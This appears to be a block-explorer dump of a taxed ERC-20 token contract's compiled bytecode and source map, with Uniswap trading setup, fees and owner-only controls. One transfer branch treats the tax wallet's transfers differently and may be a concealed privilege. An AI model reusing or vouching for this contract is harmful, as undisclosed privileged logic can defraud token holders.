0815260026020908152604080832093909416825291909152205490565b5f6103dd338484610a52565b5060015b92915050565b5f6103f46009600a61190b565b610403906461f313f880611919565b905090565b5f610414848484610b76565b610465843361046085604051806060016040528060288152602001611aad602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611112565b610a52565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461048e575f80fd5b305f9081526001602052604090205480156104ac576104ac8161114a565b4780156104bc576104bc816112f3565b5050565b5f546001600160a01b031633146104f25760405162461bcd60e51b81526004016104e990611930565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105635760405162461bcd60e51b81526004016104e990611930565b61056f6009600a61190b565b61057e906461f313f880611919565b600c5561058d6009600a61190b565b61059c906461f313f880611919565b600d556011805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105d96009600a61190b565b6105e8906461f313f880611919565b60405190815260200160405180910390a1565b5f47116106435760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016104e9565b6010546001600160a01b0316336001600160a01b031614610662575f80fd5b60405133904780156108fc02915f818181858888f1935050505015801561068b573d5f803e3d5ffd5b50565b5f6103dd338484610b76565b5f546001600160a01b031633146106c35760405162461bcd60e51b81526004016104e990611930565b601154600160a01b900460ff161561071d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104e9565b61075130737a250d5630b4cf539739df2c5dacb4c659f2488d6107426009600a61190b565b610460906461f313f880611919565b6011805460ff60b01b1916600160b01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa1580156107b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d69190611965565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610835573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108599190611965565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c79190611965565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806109285f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561098e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109b39190611980565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610a18573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3c91906119ab565b506011805460ff60a01b1916600160a01b179055565b6001600160a01b038316610ab45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e9565b6001600160a01b038216610b155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e9565b6001600160a01b038216610c3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e9565b5f8111610c9d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e9565b601154600160b01b900460ff161580610cbf5750601154600160a81b900460ff165b15610cd457610ccf83838361132a565b505050565b6011546001600160a01b0383811691811691821491908516145f610cff5f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610d2d57505f546001600160a01b03868116911614155b8015610d4757506010546001600160a01b03868116911614155b15610f9057610d786064610d72600854600b5411610d6757600454610d6b565b6006545b87906113cd565b90611452565b9050818015610da457506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610dc857506001600160a01b0385165f9081526003602052604090205460ff16155b15610ec057601154600160b81b900460ff1615610eab57600c54841115610e315760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104e9565b600d5484610e53876001600160a01b03165f9081526001602052604090205490565b610e5d91906119ca565b1115610eab5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104e9565b600b8054905f610eba836119dd565b91905055505b828015610ed657506001600160a01b0386163014155b15610f0357610f006064610d72600954600b5411610ef657600554610d6b565b60075487906113cd565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610f295750835b8015610f3e5750601154600160b01b900460ff165b8015610f4b5750600e5481115b8015610f5a5750600a54600b54115b15610f8e57610f7c610f7786610f7284600f54611493565b611493565b61114a565b478015610f8c57610f8c476112f3565b505b505b6001600160a01b0386165f9081526003602052604090205460ff1680610fcd57506001600160a01b0385165f9081526003602052604090205460ff165b8015610fe257506001600160a01b0386163014155b8015610ff757506001600160a01b0385163014155b1561100157436013555b6001600160a01b0386165f9081526003602052604090205460ff1615801561104157506001600160a01b0385165f9081526003602052604090205460ff16155b156110fe57826110cc576001600160a01b0385165f90815260146020526040902082156110945780545f0361108f57600a54600b5410611081574361108c565b61108c6001436119f5565b81555b6110c6565b6001600160a01b0387165f908152601460205260409020815415806110ba575081548154105b156110c457805482555b505b506110fe565b6001600160a01b0386165f90815260146020526040902060135481546110f1916114a7565b6001820155436002909101555b61110a868686846114e8565b505050505050565b5f81848411156111355760405162461bcd60e51b81526004016104e991906116fd565b505f61114184866119f5565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061119057611190611a08565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611200573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112249190611965565b8160018151811061123757611237611a08565b60200260200101906001600160a01b031690816001600160a01b03168152505061127630737a250d5630b4cf539739df2c5dacb4c659f2488d84610a52565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112b59085905f90869030904290600401611a1c565b5f604051808303815f87803b1580156112cc575f80fd5b505af11580156112de573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104bc573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461134c90826114a7565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461137a9082611512565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b699085815260200190565b5f825f036113dc57505f6103e1565b5f6113e78385611919565b9050826113f48583611a8d565b1461144b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e9565b9392505050565b5f61144b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611570565b5f8183116114a1578261144b565b50919050565b5f61144b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611112565b5f6114f485848461159c565b905061150b85858361150687876114a7565b61164c565b5050505050565b5f8061151e83856119ca565b90508381101561144b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e9565b5f81836115905760405162461bcd60e51b81526004016104e991906116fd565b505f6111418486611a8d565b6010545f9081906001600160a01b03908116908616036115c8576012546115c390856113cd565b6115ca565b835b9050821561164457305f908152600160205260409020546115eb9084611512565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163b9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461166e90836114a7565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461169c9082611512565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ef9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156117295785810183015185820160400152820161170d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461068b575f80fd5b5f806040838503121561176e575f80fd5b823561177981611749565b946020939093013593505050565b5f805f60608486031215611799575f80fd5b83356117a481611749565b925060208401356117b481611749565b929592945050506040919091013590565b5f602082840312156117d5575f80fd5b813561144b81611749565b5f80604083850312156117f1575f80fd5b82356117fc81611749565b9150602083013561180c81611749565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561186557815f190482111561184b5761184b611817565b8085161561185857918102915b93841c9390800290611830565b509250929050565b5f8261187b575060016103e1565b8161188757505f6103e1565b816001811461189d57600281146118a7576118c3565b60019150506103e1565b60ff8411156118b8576118b8611817565b50506001821b6103e1565b5060208310610133831016604e8410600b84101617156118e6575081810a6103e1565b6118f0838361182b565b805f190482111561190357611903611817565b029392505050565b5f61144b60ff84168361186d565b80820281158282048414176103e1576103e1611817565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611975575f80fd5b815161144b81611749565b5f805f60608486031215611992575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156119bb575f80fd5b8151801515811461144b575f80fd5b808201808211156103e1576103e1611817565b5f600182016119ee576119ee611817565b5060010190565b818103818111156103e1576103e1611817565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a6c5784516001600160a01b031683529383019391830191600101611a47565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611aa757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220773c03a6f6cf4243460dcc2633b8552adc8075da910eaf52cc3489f2428b939c64736f6c63430008170033
Deployed Bytecode Sourcemap
3617:10293:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5780:83;;;;;;;;;;-1:-1:-1;5850:5:0;;;;;;;;;;;;-1:-1:-1;;;5850:5:0;;;;5780:83;;;;;;;:::i;:::-;;;;;;;;6613:161;;;;;;;;;;-1:-1:-1;6613:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6613:161:0;1023:187:1;4782:54:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4782:54:0;1215:177:1;6057:95:0;;;;;;;;;;;;;:::i;6782:313::-;;;;;;;;;;-1:-1:-1;6782:313:0;;;;;:::i;:::-;;:::i;5966:83::-;;;;;;;;;;-1:-1:-1;5966:83:0;;4388:1;2000:36:1;;1988:2;1973:18;5966:83:0;1858:184:1;4886:28:0;;;;;;;;;;-1:-1:-1;4886:28:0;;;;-1:-1:-1;;;;;4886:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4886:28:0;2047:203:1;13318:362:0;;;;;;;;;;;;;:::i;:::-;;6160:119;;;;;;;;;;-1:-1:-1;6160:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6253:18:0;6226:7;6253:18;;;:9;:18;;;;;;;6160:119;878:148;;;;;;;;;;;;;:::i;12400:195::-;;;;;;;;;;;;;:::i;4587:56::-;;;;;;;;;;;;;;;;664:79;;;;;;;;;;-1:-1:-1;702:7:0;729:6;-1:-1:-1;;;;;729:6:0;664:79;;4650:58;;;;;;;;;;;;;;;;5871:87;;;;;;;;;;-1:-1:-1;5943:7:0;;;;;;;;;;;;-1:-1:-1;;;5943:7:0;;;;5871:87;;13688:219;;;;;;;;;;;;;:::i;6287:167::-;;;;;;;;;;-1:-1:-1;6287:167:0;;;;;:::i;:::-;;:::i;4715:60::-;;;;;;;;;;;;;;;;12740:570;;;;;;;;;;;;;:::i;6462:143::-;;;;;;;;;;-1:-1:-1;6462:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6570:18:0;;;6543:7;6570:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6462:143;6613:161;6688:4;6705:39;321:10;6728:7;6737:6;6705:8;:39::i;:::-;-1:-1:-1;6762:4:0;6613:161;;;;;:::o;6057:95::-;6110:7;4446:13;4388:1;4446:2;:13;:::i;:::-;4431:28;;:12;:28;:::i;:::-;6130:14;;6057:95;:::o;6782:313::-;6880:4;6897:36;6907:6;6915:9;6926:6;6897:9;:36::i;:::-;6944:121;6953:6;321:10;6975:89;7013:6;6975:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6975:19:0;;;;;;:11;:19;;;;;;;;321:10;6975:33;;;;;;;;;;:37;:89::i;:::-;6944:8;:121::i;:::-;-1:-1:-1;7083:4:0;6782:313;;;;;:::o;13318:362::-;13384:10;;-1:-1:-1;;;;;13384:10:0;321;-1:-1:-1;;;;;13368:26:0;;13360:35;;;;;;13447:4;13406:20;6253:18;;;:9;:18;;;;;;13468:16;;13464:77;;13499:30;13516:12;13499:16;:30::i;:::-;13572:21;13608:12;;13604:69;;13637:24;13650:10;13637:12;:24::i;:::-;13349:331;;13318:362::o;878:148::-;791:6;;-1:-1:-1;;;;;791:6:0;321:10;791:22;783:67;;;;-1:-1:-1;;;783:67:0;;;;;;;:::i;:::-;;;;;;;;;985:1:::1;969:6:::0;;948:40:::1;::::0;-1:-1:-1;;;;;969:6:0;;::::1;::::0;948:40:::1;::::0;985:1;;948:40:::1;1016:1;999:19:::0;;-1:-1:-1;;;;;;999:19:0::1;::::0;;878:148::o;12400:195::-;791:6;;-1:-1:-1;;;;;791:6:0;321:10;791:22;783:67;;;;-1:-1:-1;;;783:67:0;;;;;;;:::i;:::-;4446:13:::1;4388:1;4446:2;:13;:::i;:::-;4431:28;::::0;:12:::1;:28;:::i;:::-;12456:12;:21:::0;4446:13:::1;4388:1;4446:2;:13;:::i;:::-;4431:28;::::0;:12:::1;:28;:::i;:::-;12488:14;:23:::0;12522:14:::1;:22:::0;;-1:-1:-1;;;;12522:22:0::1;::::0;;12560:27:::1;4446:13;4388:1;4446:2;:13;:::i;:::-;4431:28;::::0;:12:::1;:28;:::i;:::-;12560:27;::::0;1361:25:1;;;1349:2;1334:18;12560:27:0::1;;;;;;;12400:195::o:0;13688:219::-;13763:1;13739:21;:25;13731:60;;;;-1:-1:-1;;;13731:60:0;;5145:2:1;13731:60:0;;;5127:21:1;5184:2;5164:18;;;5157:30;-1:-1:-1;;;5203:18:1;;;5196:52;5265:18;;13731:60:0;4943:346:1;13731:60:0;13826:10;;-1:-1:-1;;;;;13826:10:0;321;-1:-1:-1;;;;;13810:26:0;;13802:35;;;;;;13848:51;;13856:10;;13877:21;13848:51;;;;;;;;;13877:21;13856:10;13848:51;;;;;;;;;;;;;;;;;;;;;13688:219::o;6287:167::-;6365:4;6382:42;321:10;6406:9;6417:6;6382:9;:42::i;12740:570::-;791:6;;-1:-1:-1;;;;;791:6:0;321:10;791:22;783:67;;;;-1:-1:-1;;;783:67:0;;;;;;;:::i;:::-;12804:11:::1;::::0;-1:-1:-1;;;12804:11:0;::::1;;;12803:12;12795:47;;;::::0;-1:-1:-1;;;12795:47:0;;5496:2:1;12795:47:0::1;::::0;::::1;5478:21:1::0;5535:2;5515:18;;;5508:30;5574:25;5554:18;;;5547:53;5617:18;;12795:47:0::1;5294:347:1::0;12795:47:0::1;12853:56;12870:4;4295:42;4446:13;4388:1;4446:2;:13;:::i;:::-;4431:28;::::0;:12:::1;:28;:::i;12853:56::-;12920:11;:18:::0;;-1:-1:-1;;;;12920:18:0::1;-1:-1:-1::0;;;12920:18:0::1;::::0;;12983:23:::1;::::0;;-1:-1:-1;;;12983:23:0;;;;4295:42:::1;::::0;12983:21:::1;::::0;:23:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;4295:42;12983:23:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12965:53:0::1;;13027:4;4295:42;-1:-1:-1::0;;;;;13034:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12965:90;::::0;-1:-1:-1;;;;;;12965:90:0::1;::::0;;;;;;-1:-1:-1;;;;;6132:15:1;;;12965:90:0::1;::::0;::::1;6114:34:1::0;6184:15;;6164:18;;;6157:43;6049:18;;12965:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12949:13;:106:::0;;-1:-1:-1;;;;;;12949:106:0::1;-1:-1:-1::0;;;;;12949:106:0;;;::::1;::::0;;;::::1;::::0;;13134:4:::1;-1:-1:-1::0;6253:18:0;;;-1:-1:-1;6253:18:0;;;;;;4295:42:::1;::::0;13066:29:::1;::::0;13103:21:::1;::::0;13134:4;13165:1:::1;13167::::0;13169:7:::1;702::::0;729:6;-1:-1:-1;;;;;729:6:0;;664:79;13169:7:::1;13066:127;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13066:127:0;;;-1:-1:-1;;;;;6570:15:1;;;13066:127:0::1;::::0;::::1;6552:34:1::0;6602:18;;;6595:34;;;;6645:18;;;6638:34;;;;6688:18;;;6681:34;6752:15;;;6731:19;;;6724:44;13177:15:0::1;6784:19:1::0;;;6777:35;6486:19;;13066:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13211:13:0::1;::::0;13204:69:::1;::::0;-1:-1:-1;;;13204:69:0;;4295:42:::1;13204:69;::::0;::::1;7308:51:1::0;-1:-1:-1;;7375:18:1;;;7368:34;-1:-1:-1;;;;;13211:13:0;;::::1;::::0;-1:-1:-1;13204:29:0::1;::::0;7281:18:1;;13204:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13284:11:0::1;:18:::0;;-1:-1:-1;;;;13284:18:0::1;-1:-1:-1::0;;;13284:18:0::1;::::0;;12740:570::o;7360:335::-;-1:-1:-1;;;;;7453:19:0;;7445:68;;;;-1:-1:-1;;;7445:68:0;;7897:2:1;7445:68:0;;;7879:21:1;7936:2;7916:18;;;7909:30;7975:34;7955:18;;;7948:62;-1:-1:-1;;;8026:18:1;;;8019:34;8070:19;;7445:68:0;7695:400:1;7445:68:0;-1:-1:-1;;;;;7532:21:0;;7524:68;;;;-1:-1:-1;;;7524:68:0;;8302:2:1;7524:68:0;;;8284:21:1;8341:2;8321:18;;;8314:30;8380:34;8360:18;;;8353:62;-1:-1:-1;;;8431:18:1;;;8424:32;8473:19;;7524:68:0;8100:398:1;7524:68:0;-1:-1:-1;;;;;7603:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7655:32;;1361:25:1;;;7655:32:0;;1334:18:1;7655:32:0;;;;;;;;7360:335;;;:::o;7703:3118::-;-1:-1:-1;;;;;7798:18:0;;7790:68;;;;-1:-1:-1;;;7790:68:0;;8705:2:1;7790:68:0;;;8687:21:1;8744:2;8724:18;;;8717:30;8783:34;8763:18;;;8756:62;-1:-1:-1;;;8834:18:1;;;8827:35;8879:19;;7790:68:0;8503:401:1;7790:68:0;-1:-1:-1;;;;;7877:16:0;;7869:64;;;;-1:-1:-1;;;7869:64:0;;9111:2:1;7869:64:0;;;9093:21:1;9150:2;9130:18;;;9123:30;9189:34;9169:18;;;9162:62;-1:-1:-1;;;9240:18:1;;;9233:33;9283:19;;7869:64:0;8909:399:1;7869:64:0;7966:1;7952:11;:15;7944:69;;;;-1:-1:-1;;;7944:69:0;;9515:2:1;7944:69:0;;;9497:21:1;9554:2;9534:18;;;9527:30;9593:34;9573:18;;;9566:62;-1:-1:-1;;;9644:18:1;;;9637:39;9693:19;;7944:69:0;9313:405:1;7944:69:0;8029:11;;-1:-1:-1;;;8029:11:0;;;;8028:12;;:21;;-1:-1:-1;8043:6:0;;-1:-1:-1;;;8043:6:0;;;;8028:21;8024:113;;;8067:37;8082:4;8088:2;8092:11;8067:14;:37::i;:::-;7703:3118;;;:::o;8024:113::-;8175:13;;-1:-1:-1;;;;;8169:19:0;;;8175:13;;;8169:19;;;;8218:21;;;;8149:17;8292:7;702;729:6;-1:-1:-1;;;;;729:6:0;;664:79;8292:7;-1:-1:-1;;;;;8286:13:0;:4;-1:-1:-1;;;;;8286:13:0;;;:28;;;;-1:-1:-1;702:7:0;729:6;-1:-1:-1;;;;;8303:11:0;;;729:6;;8303:11;;8286:28;:45;;;;-1:-1:-1;8321:10:0;;-1:-1:-1;;;;;8317:14:0;;;8321:10;;8317:14;;8286:45;8282:1272;;;8360:101;8457:3;8360:92;8407:15;;8395:9;;:27;8394:57;;8437:14;;8394:57;;;8424:12;;8394:57;8360:11;;:33;:92::i;:::-;:96;;:101::i;:::-;8348:113;;8482:11;:41;;;;-1:-1:-1;;;;;;8497:26:0;;4295:42;8497:26;;8482:41;:70;;;;-1:-1:-1;;;;;;8530:22:0;;;;;;:18;:22;;;;;;;;8528:24;8482:70;8478:370;;;8578:14;;-1:-1:-1;;;8578:14:0;;;;8574:229;;;8640:12;;8625:11;:27;;8617:64;;;;-1:-1:-1;;;8617:64:0;;9925:2:1;8617:64:0;;;9907:21:1;9964:2;9944:18;;;9937:30;10003:27;9983:18;;;9976:55;10048:18;;8617:64:0;9723:349:1;8617:64:0;8739:14;;8726:11;8712:13;8722:2;-1:-1:-1;;;;;6253:18:0;6226:7;6253:18;;;:9;:18;;;;;;;6160:119;8712:13;:25;;;;:::i;:::-;:41;;8704:79;;;;-1:-1:-1;;;8704:79:0;;10409:2:1;8704:79:0;;;10391:21:1;10448:2;10428:18;;;10421:30;10487:28;10467:18;;;10460:56;10533:18;;8704:79:0;10207:350:1;8704:79:0;8821:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8478:370;8867:12;:35;;;;-1:-1:-1;;;;;;8883:19:0;;8897:4;8883:19;;8867:35;8864:171;;;8935:84;9015:3;8935:75;8962:16;;8952:9;;:26;8951:58;;8994:15;;8951:58;;;8980:13;;8935:11;;:15;:75::i;:84::-;8923:96;;8864:171;9100:4;9051:28;6253:18;;;:9;:18;;;;;;9126:6;;-1:-1:-1;;;9126:6:0;;;;9125:7;:23;;;;;9136:12;9125:23;:38;;;;-1:-1:-1;9152:11:0;;-1:-1:-1;;;9152:11:0;;;;9125:38;:82;;;;;9190:17;;9167:20;:40;9125:82;:116;;;;;9223:18;;9211:9;;:30;9125:116;9121:422;;;9262:74;9279:56;9283:11;9296:38;9300:20;9322:11;;9296:3;:38::i;:::-;9279:3;:56::i;:::-;9262:16;:74::i;:::-;9382:21;9426:22;;9422:106;;9473:35;9486:21;9473:12;:35::i;:::-;9243:300;9121:422;8333:1221;8282:1272;-1:-1:-1;;;;;9571:24:0;;;;;;:18;:24;;;;;;;;;:51;;-1:-1:-1;;;;;;9600:22:0;;;;;;:18;:22;;;;;;;;9571:51;9570:75;;;;-1:-1:-1;;;;;;9626:19:0;;9640:4;9626:19;;9570:75;:97;;;;-1:-1:-1;;;;;;9649:18:0;;9662:4;9649:18;;9570:97;9566:177;;;9719:12;9694:22;:37;9566:177;-1:-1:-1;;;;;9759:24:0;;;;;;:18;:24;;;;;;;;9757:26;:54;;;;-1:-1:-1;;;;;;9789:22:0;;;;;;:18;:22;;;;;;;;9787:24;9757:54;9753:1003;;;9832:12;9827:918;;-1:-1:-1;;;;;9907:16:0;;9866:38;9907:16;;;:12;:16;;;;;9942:530;;;;9986:20;;;:25;9982:162;;10073:18;;10063:9;;:28;:57;;10108:12;10063:57;;;10092:15;10106:1;10092:12;:15;:::i;:::-;10040:80;;9982:162;9942:530;;;-1:-1:-1;;;;;10235:18:0;;10192:40;10235:18;;;:12;:18;;;;;10280:20;;:25;;:74;;-1:-1:-1;10334:20:0;;10309:22;;:45;10280:74;10276:177;;;10407:22;;10384:45;;10276:177;10169:303;9942:530;9847:640;9827:918;;;-1:-1:-1;;;;;10555:18:0;;10512:40;10555:18;;;:12;:18;;;;;10645:22;;10618;;:50;;:26;:50::i;:::-;10592:23;;;:76;10717:12;10687:27;;;;:42;9827:918;10768:45;10783:4;10788:2;10791:11;10803:9;10768:14;:45::i;:::-;7777:3044;;;7703:3118;;;:::o;1388:190::-;1474:7;1510:12;1502:6;;;;1494:29;;;;-1:-1:-1;;;1494:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1534:9:0;1546:5;1550:1;1546;:5;:::i;:::-;1534:17;1388:190;-1:-1:-1;;;;;1388:190:0:o;11917:475::-;5405:6;:13;;-1:-1:-1;;;;5405:13:0;-1:-1:-1;;;5405:13:0;;;12019:16:::1;::::0;;12033:1:::1;12019:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12019:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12019:16:0::1;11995:40;;12064:4;12046;12051:1;12046:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12046:23:0::1;;;-1:-1:-1::0;;;;;12046:23:0::1;;;::::0;::::1;4295:42;-1:-1:-1::0;;;;;12090:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12080:4;12085:1;12080:7;;;;;;;;:::i;:::-;;;;;;:30;-1:-1:-1::0;;;;;12080:30:0::1;;;-1:-1:-1::0;;;;;12080:30:0::1;;;::::0;::::1;12121:58;12138:4;4295:42;12167:11;12121:8;:58::i;:::-;12190:194;::::0;-1:-1:-1;;;12190:194:0;;4295:42:::1;::::0;12190:64:::1;::::0;:194:::1;::::0;12269:11;;12295:1:::1;::::0;12311:4;;12338::::1;::::0;12358:15:::1;::::0;12190:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5441:6:0;:14;;-1:-1:-1;;;;5441:14:0;;;-1:-1:-1;;;;11917:475:0:o;12603:92::-;12660:10;;:27;;-1:-1:-1;;;;;12660:10:0;;;;:27;;;;;12680:6;;12660:10;:27;:10;:27;12680:6;12660:10;:27;;;;;;;;;;;;;;;;;;;7103:249;-1:-1:-1;;;;;7210:15:0;;;;;;:9;:15;;;;;;:32;;7230:11;7210:19;:32::i;:::-;-1:-1:-1;;;;;7194:15:0;;;;;;;:9;:15;;;;;;:48;;;;7267:13;;;;;;;:30;;7285:11;7267:17;:30::i;:::-;-1:-1:-1;;;;;7253:13:0;;;;;;;:9;:13;;;;;;;:44;;;;7313:31;;;;;;;;;;7332:11;1361:25:1;;1349:2;1334:18;;1215:177;1586:246:0;1644:7;1668:1;1673;1668:6;1664:47;;-1:-1:-1;1698:1:0;1691:8;;1664:47;1721:9;1733:5;1737:1;1733;:5;:::i;:::-;1721:17;-1:-1:-1;1766:1:0;1757:5;1761:1;1721:17;1757:5;:::i;:::-;:10;1749:56;;;;-1:-1:-1;;;1749:56:0;;12508:2:1;1749:56:0;;;12490:21:1;12547:2;12527:18;;;12520:30;12586:34;12566:18;;;12559:62;-1:-1:-1;;;12637:18:1;;;12630:31;12678:19;;1749:56:0;12306:397:1;1749:56:0;1823:1;1586:246;-1:-1:-1;;;1586:246:0:o;1840:132::-;1898:7;1925:39;1929:1;1932;1925:39;;;;;;;;;;;;;;;;;:3;:39::i;11811:98::-;11868:7;11895:1;11893;:3;11892:9;;11900:1;11892:9;;;-1:-1:-1;11898:1:0;11811:98;-1:-1:-1;11811:98:0:o;1244:136::-;1302:7;1329:43;1333:1;1336;1329:43;;;;;;;;;;;;;;;;;:3;:43::i;11116:258::-;11225:15;11242:47;11260:4;11266:11;11279:9;11242:17;:47::i;:::-;11225:64;-1:-1:-1;11300:66:0;11320:4;11326:2;11225:64;11339:26;:11;11355:9;11339:15;:26::i;:::-;11300:19;:66::i;:::-;11214:160;11116:258;;;;:::o;1057:179::-;1115:7;;1147:5;1151:1;1147;:5;:::i;:::-;1135:17;;1176:1;1171;:6;;1163:46;;;;-1:-1:-1;;;1163:46:0;;12910:2:1;1163:46:0;;;12892:21:1;12949:2;12929:18;;;12922:30;12988:29;12968:18;;;12961:57;13035:18;;1163:46:0;12708:351:1;1980:189:0;2066:7;2101:12;2094:5;2086:28;;;;-1:-1:-1;;;2086:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2125:9:0;2137:5;2141:1;2137;:5;:::i;11382:421::-;11529:10;